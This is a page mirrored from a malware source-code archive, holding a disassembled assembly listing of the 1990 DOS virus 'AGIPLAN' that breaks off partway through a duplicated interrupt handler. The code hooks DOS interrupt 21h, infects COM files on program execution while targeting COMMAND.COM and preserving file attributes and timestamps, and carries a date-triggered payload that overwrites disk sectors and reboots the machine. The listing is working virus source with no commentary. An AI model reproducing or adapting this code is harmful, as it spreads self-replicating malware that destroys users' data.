mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
4b9382ddbc
push
1004 lines
25 KiB
NASM
1004 lines
25 KiB
NASM
|
||
PAGE 59,132
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ AGIPLAN ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ Created: 1-Sep-90 ÛÛ
|
||
;ÛÛ Version: ÛÛ
|
||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
movseg macro reg16, unused, Imm16 ; Fixup for Assembler
|
||
ifidn <reg16>, <bx>
|
||
db 0BBh
|
||
endif
|
||
ifidn <reg16>, <cx>
|
||
db 0B9h
|
||
endif
|
||
ifidn <reg16>, <dx>
|
||
db 0BAh
|
||
endif
|
||
ifidn <reg16>, <si>
|
||
db 0BEh
|
||
endif
|
||
ifidn <reg16>, <di>
|
||
db 0BFh
|
||
endif
|
||
ifidn <reg16>, <bp>
|
||
db 0BDh
|
||
endif
|
||
ifidn <reg16>, <sp>
|
||
db 0BCh
|
||
endif
|
||
ifidn <reg16>, <BX>
|
||
db 0BBH
|
||
endif
|
||
ifidn <reg16>, <CX>
|
||
db 0B9H
|
||
endif
|
||
ifidn <reg16>, <DX>
|
||
db 0BAH
|
||
endif
|
||
ifidn <reg16>, <SI>
|
||
db 0BEH
|
||
endif
|
||
ifidn <reg16>, <DI>
|
||
db 0BFH
|
||
endif
|
||
ifidn <reg16>, <BP>
|
||
db 0BDH
|
||
endif
|
||
ifidn <reg16>, <SP>
|
||
db 0BCH
|
||
endif
|
||
dw seg Imm16
|
||
endm
|
||
data_1e equ 46Dh ; (0000:046D=0B35h)
|
||
data_2e equ 600h ; (0000:0600=54h)
|
||
data_3e equ 0Eh ; (0A10:000E=1)
|
||
data_4e equ 1 ; (936D:0001=0FFFFh)
|
||
data_5e equ 0 ; (936E:0000=0)
|
||
data_6e equ 2 ; (936E:0002=0)
|
||
data_7e equ 12h ; (936E:0012=0)
|
||
data_8e equ 14h ; (936E:0014=936Eh)
|
||
data_9e equ 0F0h ; (936E:00F0=0)
|
||
data_10e equ 0F6h ; (936E:00F6=0)
|
||
data_11e equ 0FAh ; (936E:00FA=0)
|
||
data_12e equ 0FEh ; (936E:00FE=0)
|
||
data_45e equ 2Ch ; (93CE:002C=0FFFFh)
|
||
data_46e equ 5B0h ; (93CE:05B0=41h)
|
||
data_47e equ 600h ; (93CE:0600=41h)
|
||
data_48e equ 1 ; (FFFE:0001=0)
|
||
|
||
seg_a segment byte public
|
||
assume cs:seg_a, ds:seg_a
|
||
|
||
|
||
org 100h
|
||
|
||
agiplan proc far
|
||
|
||
start:
|
||
jmp loc_43 ; (04CF)
|
||
data_14 db '<27><><EFBFBD><EFBFBD><EFBFBD>œP1À.8&Ú', 5, 'u', 7, 'X<>.', 0FFh
|
||
db '.è', 5, 'ƒ', 0FFh, 0
|
||
db 75h,0F4h, 58h
|
||
data_15 db 9Dh
|
||
db 0B8h, 03h, 00h,0CFh, 90h, 90h
|
||
db 90h
|
||
data_16 db 0
|
||
db 90h, 00h,0FFh,0FFh,0FFh,0FFh
|
||
db 0FFh
|
||
|
||
agiplan endp
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;
|
||
; External Entry Point
|
||
;
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
int_21h_entry proc far
|
||
pushf ; Push flags
|
||
cmp ah,4Eh ; 'N'
|
||
jne loc_4 ; Jump if not equal
|
||
jmp short loc_8 ; (0154)
|
||
loc_4:
|
||
cmp ah,4Bh ; 'K'
|
||
jne loc_5 ; Jump if not equal
|
||
jmp short loc_8 ; (0154)
|
||
loc_5:
|
||
cmp ah,0Eh
|
||
jne loc_6 ; Jump if not equal
|
||
jmp short loc_8 ; (0154)
|
||
loc_6:
|
||
cmp ah,40h ; '@'
|
||
jne loc_7 ; Jump if not equal
|
||
jmp short loc_8 ; (0154)
|
||
loc_7:
|
||
popf ; Pop flags
|
||
jmp dword ptr cs:data_35 ; (936E:05E4=138Dh)
|
||
db 90h
|
||
loc_8:
|
||
cli ; Disable interrupts
|
||
push es
|
||
push ds
|
||
push di
|
||
push si
|
||
push bp
|
||
push dx
|
||
push cx
|
||
push bx
|
||
push ax
|
||
mov cs:data_31,ss ; (936E:05DB=0A10h)
|
||
mov cs:data_32,sp ; (936E:05DD=743h)
|
||
mov al,0FFh
|
||
mov cs:data_30,al ; (936E:05DA=0FFh)
|
||
mov ax,3524h
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
cmp word ptr cs:data_37,bx ; (936E:05E8=4EBh)
|
||
jne loc_9 ; Jump if not equal
|
||
mov ax,2524h
|
||
mov dx,108h
|
||
push cs
|
||
pop ds
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
loc_9:
|
||
sti ; Enable interrupts
|
||
jmp short loc_11 ; (01AA)
|
||
loc_10:
|
||
cli ; Disable interrupts
|
||
xor ax,ax ; Zero register
|
||
mov cs:data_30,ah ; (936E:05DA=0FFh)
|
||
mov ss,cs:data_31 ; (936E:05DB=0A10h)
|
||
mov sp,cs:data_32 ; (936E:05DD=743h)
|
||
pop ax
|
||
pop bx
|
||
pop cx
|
||
pop dx
|
||
pop bp
|
||
pop si
|
||
pop di
|
||
pop ds
|
||
pop es
|
||
popf ; Pop flags
|
||
sti ; Enable interrupts
|
||
jmp dword ptr cs:data_35 ; (936E:05E4=138Dh)
|
||
db 90h
|
||
loc_11:
|
||
pop ax
|
||
pop bx
|
||
push bx
|
||
push ax
|
||
cmp ah,4Bh ; 'K'
|
||
je loc_16 ; Jump if equal
|
||
cmp ah,40h ; '@'
|
||
jne loc_12 ; Jump if not equal
|
||
jmp short loc_15 ; (01CC)
|
||
loc_12:
|
||
cmp ah,0Eh
|
||
jne loc_13 ; Jump if not equal
|
||
jmp short loc_10 ; (0187)
|
||
loc_13:
|
||
cmp ah,4Eh ; 'N'
|
||
jne loc_10 ; Jump if not equal
|
||
jmp short loc_10 ; (0187)
|
||
db 90h
|
||
loc_14:
|
||
jmp loc_23 ; (0283)
|
||
loc_15:
|
||
mov ax,0Fh
|
||
cmp cs:data_29,al ; (936E:05D9=0)
|
||
jb loc_10 ; Jump if below
|
||
ja loc_14 ; Jump if above
|
||
cmp bx,4
|
||
jbe loc_10 ; Jump if below or =
|
||
mov bx,1
|
||
push cs
|
||
pop ds
|
||
add ds:data_11e,bx ; (936E:00FA=0)
|
||
mov ah,2Ch ; ','
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
cmp dh,ds:data_11e ; (936E:00FA=0)
|
||
ja loc_10 ; Jump if above
|
||
mov bx,data_3e ; (0A10:000E=1)
|
||
add bx,data_32 ; (936E:05DD=743h)
|
||
mov ss:[bx],bx
|
||
jmp short loc_10 ; (0187)
|
||
db 01h, 90h, 90h, 90h
|
||
loc_16:
|
||
mov cs:data_33,dx ; (936E:05DF=3D7Bh)
|
||
mov cs:data_34,ds ; (936E:05E1=7B6Eh)
|
||
push cs
|
||
pop ds
|
||
mov ah,2Ch ; ','
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
cmp dh,ds:data_12e ; (936E:00FE=0)
|
||
jb loc_17 ; Jump if below
|
||
jmp loc_10 ; (0187)
|
||
loc_17:
|
||
mov dx,data_33 ; (936E:05DF=3D7Bh)
|
||
mov ds,data_34 ; (936E:05E1=7B6Eh)
|
||
push ax
|
||
mov al,2Eh ; '.'
|
||
cld ; Clear direction
|
||
push ds
|
||
push dx
|
||
cli ; Disable interrupts
|
||
mov di,dx
|
||
push ds
|
||
pop es
|
||
mov cx,20h
|
||
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||
jnz loc_20 ; Jump if not zero
|
||
push cs
|
||
pop ds
|
||
mov si,offset data_21 ; (936E:05C8=43h)
|
||
mov cx,3
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
jnz loc_22 ; Jump if not zero
|
||
sub di,0Bh
|
||
mov si,offset data_20 ; (936E:05C0=43h)
|
||
mov cx,0Bh
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
mov dh,0FFh
|
||
mov cs:data_16,dh ; (936E:0128=0)
|
||
jz loc_18 ; Jump if zero
|
||
xor dx,dx ; Zero register
|
||
mov cs:data_16,dh ; (936E:0128=0)
|
||
loc_18:
|
||
add sp,6
|
||
push cs
|
||
pop ds
|
||
loc_19:
|
||
call sub_2 ; (02C0)
|
||
loc_20:
|
||
jmp loc_10 ; (0187)
|
||
db 90h, 90h
|
||
loc_21:
|
||
;* jmp loc_34 ;*(03E0)
|
||
db 0E9h, 76h, 01h
|
||
loc_22:
|
||
add sp,6
|
||
push cs
|
||
pop ds
|
||
mov dx,5C0h
|
||
mov data_33,dx ; (936E:05DF=3D7Bh)
|
||
mov data_34,ds ; (936E:05E1=7B6Eh)
|
||
mov dh,0FFh
|
||
mov data_16,dh ; (936E:0128=0)
|
||
jmp short loc_19 ; (025F)
|
||
db 90h
|
||
loc_23:
|
||
mov cx,501h
|
||
mov dx,100h
|
||
call sub_1 ; (02A0)
|
||
mov dx,101h
|
||
call sub_1 ; (02A0)
|
||
mov dx,380h
|
||
call sub_1 ; (02A0)
|
||
mov dx,381h
|
||
call sub_1 ; (02A0)
|
||
int 19h ; Bootstrap loader
|
||
int_21h_entry endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_1 proc near
|
||
push dx
|
||
loc_24:
|
||
mov ax,309h
|
||
int 13h ; Disk dl=drive a ah=func 03h
|
||
; write sectors from mem es:bx
|
||
sub dh,1
|
||
cmp dh,0
|
||
jge loc_24 ; Jump if > or =
|
||
pop dx
|
||
push dx
|
||
sub cx,100h
|
||
cmp cx,0
|
||
jge loc_24 ; Jump if > or =
|
||
retn
|
||
sub_1 endp
|
||
|
||
db 90h, 90h, 90h
|
||
loc_25:
|
||
jmp loc_31 ; (03A3)
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_2 proc near
|
||
mov ah,48h ; 'H'
|
||
mov bx,0FFFh
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
jc loc_21 ; Jump if carry Set
|
||
nop
|
||
mov ds:data_11e,ax ; (936E:00FA=0)
|
||
mov dx,data_33 ; (936E:05DF=3D7Bh)
|
||
mov ds,data_34 ; (936E:05E1=7B6Eh)
|
||
mov ah,3Ah ; ':'
|
||
mov bx,dx
|
||
add bx,1
|
||
cmp ah,[bx]
|
||
mov ah,0
|
||
jnz loc_27 ; Jump if not zero
|
||
mov bx,dx
|
||
mov al,50h ; 'P'
|
||
mov ah,[bx]
|
||
cmp ah,50h ; 'P'
|
||
ja loc_26 ; Jump if above
|
||
sub ah,40h ; '@'
|
||
jmp short loc_27 ; (02F5)
|
||
loc_26:
|
||
sub ah,60h ; '`'
|
||
loc_27:
|
||
mov dl,ah
|
||
mov ah,36h ; '6'
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
cmp bx,9
|
||
jb loc_25 ; Jump if below
|
||
mov dx,cs:data_33 ; (936E:05DF=3D7Bh)
|
||
mov ax,4300h
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
mov cs:data_39,cx ; (936E:05EC=20h)
|
||
mov ax,4301h
|
||
xor cx,cx ; Zero register
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
nop
|
||
mov ax,3D42h
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
jc loc_25 ; Jump if carry Set
|
||
mov bx,ax
|
||
mov ah,3Fh ; '?'
|
||
mov cx,0FFFFh
|
||
mov dx,600h
|
||
mov ds,cs:data_11e ; (936E:00FA=0)
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
jc loc_30 ; Jump if carry Set
|
||
add ax,600h
|
||
mov cs:data_10e,ax ; (936E:00F6=0)
|
||
cmp ax,1000h
|
||
jb loc_30 ; Jump if below
|
||
cmp ax,0D000h
|
||
ja loc_30 ; Jump if above
|
||
mov si,offset ds:[100h] ; (936E:0100=0E9h)
|
||
push cs
|
||
pop ds
|
||
xor di,di ; Zero register
|
||
mov es,cs:data_11e ; (936E:00FA=0)
|
||
mov cx,2FFh
|
||
cld ; Clear direction
|
||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||
push es
|
||
pop ds
|
||
xor di,di ; Zero register
|
||
mov si,data_2e ; (0000:0600=54h)
|
||
mov cx,10h
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
jz loc_30 ; Jump if zero
|
||
mov ah,cs:data_16 ; (936E:0128=0)
|
||
cmp ah,0FFh
|
||
jne loc_28 ; Jump if not equal
|
||
call sub_3 ; (03C8)
|
||
jmp short loc_29 ; (0377)
|
||
loc_28:
|
||
mov ax,9090h
|
||
mov ds:data_1e,ax ; (0000:046D=0B35h)
|
||
loc_29:
|
||
nop
|
||
mov ax,4200h
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
mov ax,5700h
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
push cx
|
||
push dx
|
||
mov ah,40h ; '@'
|
||
mov cx,cs:data_10e ; (936E:00F6=0)
|
||
xor dx,dx ; Zero register
|
||
mov ds,cs:data_11e ; (936E:00FA=0)
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
pop dx
|
||
pop cx
|
||
mov ax,5701h
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
loc_30:
|
||
mov ah,3Eh ; '>'
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
loc_31:
|
||
mov cx,cs:data_39 ; (936E:05EC=20h)
|
||
mov dx,cs:data_33 ; (936E:05DF=3D7Bh)
|
||
mov ds,cs:data_34 ; (936E:05E1=7B6Eh)
|
||
mov ax,4301h
|
||
loc_32:
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
push cs
|
||
pop ds
|
||
mov es,cs:data_11e ; (936E:00FA=0)
|
||
mov ah,49h ; 'I'
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
retn
|
||
sub_2 endp
|
||
|
||
db 90h, 90h, 90h, 90h, 90h
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_3 proc near
|
||
mov ax,0D08Eh
|
||
mov ds:data_1e,ax ; (0000:046D=0B35h)
|
||
mov di,data_2e ; (0000:0600=54h)
|
||
mov cx,3000h
|
||
mov ax,0B8C9h
|
||
loc_33:
|
||
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||
cmp ah,es:[di]
|
||
jne loc_33 ; Jump if not equal
|
||
mov dx,4200h
|
||
cmp dx,es:[di+1]
|
||
jne loc_33 ; Jump if not equal
|
||
mov dh,0BAh
|
||
cmp dh,es:[di-5]
|
||
jne loc_33 ; Jump if not equal
|
||
cmp cx,0
|
||
jne loc_35 ; Jump if not equal
|
||
pop dx
|
||
jmp short loc_32 ; (03B5)
|
||
db 90h
|
||
loc_35:
|
||
mov dx,es:[di-4]
|
||
add dx,600h
|
||
mov es:[di-4],dx
|
||
retn
|
||
sub_3 endp
|
||
|
||
db 11 dup (90h)
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_4 proc near
|
||
mov ax,4A00h
|
||
mov bx,5Fh
|
||
int 21h ; DOS Services ah=function 4Ah
|
||
; change mem allocation, bx=siz
|
||
mov bx,cs
|
||
sub bx,1
|
||
mov ds,bx
|
||
mov ax,0FFFFh
|
||
mov ds:data_4e,ax ; (936D:0001=0FFFFh)
|
||
push cs
|
||
pop ds
|
||
mov ax,4800h
|
||
mov bx,0FFFFh
|
||
int 21h ; DOS Services ah=function 48h
|
||
; allocate memory, bx=bytes/16
|
||
mov ax,4800h
|
||
int 21h ; DOS Services ah=function 48h
|
||
; allocate memory, bx=bytes/16
|
||
retn
|
||
sub_4 endp
|
||
|
||
db 0CBh
|
||
db 26 dup (90h)
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_5 proc near
|
||
mov cx,10h
|
||
mov si,offset data_15 ; (936E:0120=9Dh)
|
||
mov di,data_9e ; (936E:00F0=0)
|
||
cld ; Clear direction
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
mov ah,2Ah ; '*'
|
||
int 21h ; DOS Services ah=function 2Ah
|
||
; get date, cx=year, dx=mon/day
|
||
cmp cx,data_25 ; (936E:05D1=7BCh)
|
||
ja loc_38 ; Jump if above
|
||
jc loc_36 ; Jump if carry Set
|
||
cmp dx,data_26 ; (936E:05D3=701h)
|
||
ja loc_38 ; Jump if above
|
||
loc_36:
|
||
cmp cx,data_27 ; (936E:05D5=7BCh)
|
||
ja loc_39 ; Jump if above
|
||
jc loc_37 ; Jump if carry Set
|
||
cmp dx,data_28 ; (936E:05D7=501h)
|
||
ja loc_39 ; Jump if above
|
||
loc_37:
|
||
mov ax,0
|
||
jmp short loc_40 ; (0487)
|
||
loc_38:
|
||
or ax,0F0h
|
||
loc_39:
|
||
or ax,0Fh
|
||
loc_40:
|
||
mov data_29,al ; (936E:05D9=0)
|
||
push dx
|
||
push cx
|
||
xor bx,bx ; Zero register
|
||
call sub_6 ; (04A5)
|
||
pop cx
|
||
pop dx
|
||
mov bx,data_6e ; (936E:0002=0)
|
||
call sub_6 ; (04A5)
|
||
mov ah,1
|
||
add data_22,ah ; (936E:05CC=14h)
|
||
nop
|
||
retn
|
||
sub_5 endp
|
||
|
||
db 90h, 90h, 90h, 90h
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_6 proc near
|
||
add dl,data_24[bx] ; (936E:05CE=0)
|
||
cmp dl,20h ; ' '
|
||
jbe loc_41 ; Jump if below or =
|
||
add dh,1
|
||
sub dl,20h ; ' '
|
||
loc_41:
|
||
add dh,data_23[bx] ; (936E:05CD=6)
|
||
cmp dh,0Bh
|
||
jbe loc_42 ; Jump if below or =
|
||
sub dh,0Bh
|
||
add cx,1
|
||
loc_42:
|
||
add bx,bx
|
||
nop
|
||
mov data_26[bx],dx ; (936E:05D3=701h)
|
||
mov data_25[bx],cx ; (936E:05D1=7BCh)
|
||
retn
|
||
sub_6 endp
|
||
|
||
loc_43:
|
||
push ax
|
||
mov al,3Fh ; '?'
|
||
mov dx,70h
|
||
out dx,al ; port 70h, RTC addr/enabl NMI
|
||
mov dx,71h
|
||
in al,dx ; port 71h, RTC clock/RAM data
|
||
cmp al,0F0h
|
||
jbe loc_44 ; Jump if below or =
|
||
jmp loc_47 ; (057B)
|
||
loc_44:
|
||
mov ax,357Fh
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov ax,ds
|
||
mov es,ax
|
||
cmp bx,0FFFFh
|
||
jne loc_45 ; Jump if not equal
|
||
jmp loc_48 ; (0582)
|
||
loc_45:
|
||
mov dx,0FFFFh
|
||
mov ax,257Fh
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
mov ax,3521h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov word ptr data_35,bx ; (936E:05E4=138Dh)
|
||
mov word ptr data_35+2,es ; (936E:05E6=28Ch)
|
||
mov ax,es
|
||
mov ds,ax
|
||
mov dx,bx
|
||
mov ax,257Eh
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
mov ax,cs
|
||
mov es,ax
|
||
mov ds,ax
|
||
mov dx,offset int_21h_entry
|
||
mov ax,2521h
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
mov ax,3524h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov word ptr data_37,bx ; (936E:05E8=4EBh)
|
||
mov word ptr data_37+2,es ; (936E:05EA=0A10h)
|
||
mov ax,es
|
||
mov ds,ax
|
||
mov dx,bx
|
||
mov ax,25FDh
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
mov ax,cs
|
||
mov es,ax
|
||
mov ds,ax
|
||
mov dx,offset int_24h_entry
|
||
mov ax,2524h
|
||
mov ds:data_7e,dx ; (936E:0012=0)
|
||
mov ds:data_8e,ds ; (936E:0014=936Eh)
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
call sub_5 ; (0450)
|
||
call sub_4 ; (0410)
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
loc_46:
|
||
mov cx,80h
|
||
mov di,data_47e ; (93CE:0600=41h)
|
||
mov si,data_5e ; (936E:0000=0)
|
||
cld ; Clear direction
|
||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||
mov ax,ds
|
||
add ax,60h
|
||
mov word ptr ds:[579h],ax ; (936E:0579=0E64h)
|
||
nop
|
||
nop
|
||
mov es,ax
|
||
mov ds,ax
|
||
pop ax
|
||
nop
|
||
nop
|
||
;* jmp far ptr loc_1 ;*(0E64:0100)
|
||
db 0EAh, 00h, 01h, 64h, 0Eh
|
||
loc_47:
|
||
mov dx,data_46e ; (93CE:05B0=41h)
|
||
mov ah,9
|
||
int 21h ; DOS Services ah=function 09h
|
||
; display char string at ds:dx
|
||
loc_48:
|
||
mov ax,4A00h
|
||
mov bx,5Fh
|
||
int 21h ; DOS Services ah=function 4Ah
|
||
; change mem allocation, bx=siz
|
||
mov bx,ds:data_45e ; (93CE:002C=0FFFFh)
|
||
sub bx,1
|
||
xor ax,ax ; Zero register
|
||
mov ds,bx
|
||
mov ds:data_48e,ax ; (FFFE:0001=0)
|
||
mov bx,cs
|
||
add bx,60h
|
||
mov dx,cs
|
||
sub dx,1
|
||
mov ds,dx
|
||
mov ds:data_4e,bx ; (936D:0001=0FFFFh)
|
||
mov ah,50h ; 'P'
|
||
int 21h ; DOS Services ah=function 50h
|
||
; set active PSP segmnt from bx
|
||
push cs
|
||
pop ds
|
||
jmp short loc_46 ; (0559)
|
||
db 'load error', 0Dh, 0Ah, '$'
|
||
db 0Ah, '$'
|
||
db 0
|
||
data_20 db 'COMMAND.'
|
||
data_21 db 43h
|
||
db 4Fh, 4Dh, 00h
|
||
data_22 db 14h
|
||
data_23 db 6 ; Data table (indexed access)
|
||
data_24 db 0 ; Data table (indexed access)
|
||
db 4, 0
|
||
data_25 dw 7BCh ; Data table (indexed access)
|
||
data_26 dw 701h ; Data table (indexed access)
|
||
data_27 dw 7BCh
|
||
data_28 dw 501h
|
||
data_29 db 0
|
||
data_30 db 0FFh
|
||
data_31 dw 0A10h
|
||
data_32 dw 743h
|
||
data_33 dw 3D7Bh
|
||
data_34 dw 7B6Eh
|
||
db 90h
|
||
data_35 dd 28C138Dh
|
||
data_37 dd 0A1004EBh
|
||
data_39 dw 20h
|
||
db 90h, 90h, 4Dh, 10h, 0Ah,0FFh
|
||
db 0Fh
|
||
db 11 dup (90h)
|
||
db 0E9h,0CCh, 03h, 90h, 90h, 90h
|
||
db 90h, 90h, 9Ch, 50h, 31h,0C0h
|
||
db 2Eh, 38h, 26h,0DAh, 05h, 75h
|
||
db 07h
|
||
loc_49:
|
||
pop ax
|
||
popf ; Pop flags
|
||
jmp cs:data_37 ; (936E:05E8=4EBh)
|
||
cmp di,0
|
||
jne loc_49 ; Jump if not equal
|
||
pop ax
|
||
popf ; Pop flags
|
||
mov ax,3
|
||
iret ; Interrupt return
|
||
db 90h, 90h, 90h, 00h, 90h, 00h
|
||
db 0FFh,0FFh,0FFh,0FFh,0FFh, 9Ch
|
||
db 80h,0FCh, 4Eh, 75h, 02h,0EBh
|
||
db 1Ch, 80h,0FCh, 4Bh, 75h, 02h
|
||
db 0EBh, 15h
|
||
loc_50:
|
||
cmp ah,0Eh
|
||
jne loc_51 ; Jump if not equal
|
||
jmp short loc_53 ; (0654)
|
||
loc_51:
|
||
cmp ah,40h ; '@'
|
||
jne loc_52 ; Jump if not equal
|
||
jmp short loc_53 ; (0654)
|
||
loc_52:
|
||
popf ; Pop flags
|
||
jmp cs:data_35 ; (936E:05E4=138Dh)
|
||
db 90h
|
||
loc_53:
|
||
cli ; Disable interrupts
|
||
push es
|
||
push ds
|
||
push di
|
||
push si
|
||
push bp
|
||
push dx
|
||
push cx
|
||
push bx
|
||
push ax
|
||
mov cs:data_31,ss ; (936E:05DB=0A10h)
|
||
mov cs:data_32,sp ; (936E:05DD=743h)
|
||
mov al,0FFh
|
||
mov cs:data_30,al ; (936E:05DA=0FFh)
|
||
mov ax,3524h
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
cmp word ptr cs:data_37,bx ; (936E:05E8=4EBh)
|
||
jne loc_54 ; Jump if not equal
|
||
mov ax,2524h
|
||
mov dx,108h
|
||
push cs
|
||
pop ds
|
||
int 7Eh ; ??INT Non-standard interrupt.
|
||
loc_54:
|
||
sti ; Enable interrupts
|
||
jmp short loc_56 ; (06AA)
|
||
loc_55:
|
||
cli ; Disable interrupts
|
||
xor ax,ax ; Zero register
|
||
mov cs:data_30,ah ; (936E:05DA=0FFh)
|
||
mov ss,cs:data_31 ; (936E:05DB=0A10h)
|
||
mov sp,cs:data_32 ; (936E:05DD=743h)
|
||
pop ax
|
||
pop bx
|
||
pop cx
|
||
pop dx
|
||
pop bp
|
||
pop si
|
||
pop di
|
||
pop ds
|
||
pop es
|
||
popf ; Pop flags
|
||
sti ; Enable interrupts
|
||
jmp cs:data_35 ; (936E:05E4=138Dh)
|
||
db 90h
|
||
loc_56:
|
||
pop ax
|
||
pop bx
|
||
push bx
|
||
push ax
|
||
cmp ah,4Bh ; 'K'
|
||
je loc_61 ; Jump if equal
|
||
cmp ah,40h ; '@'
|
||
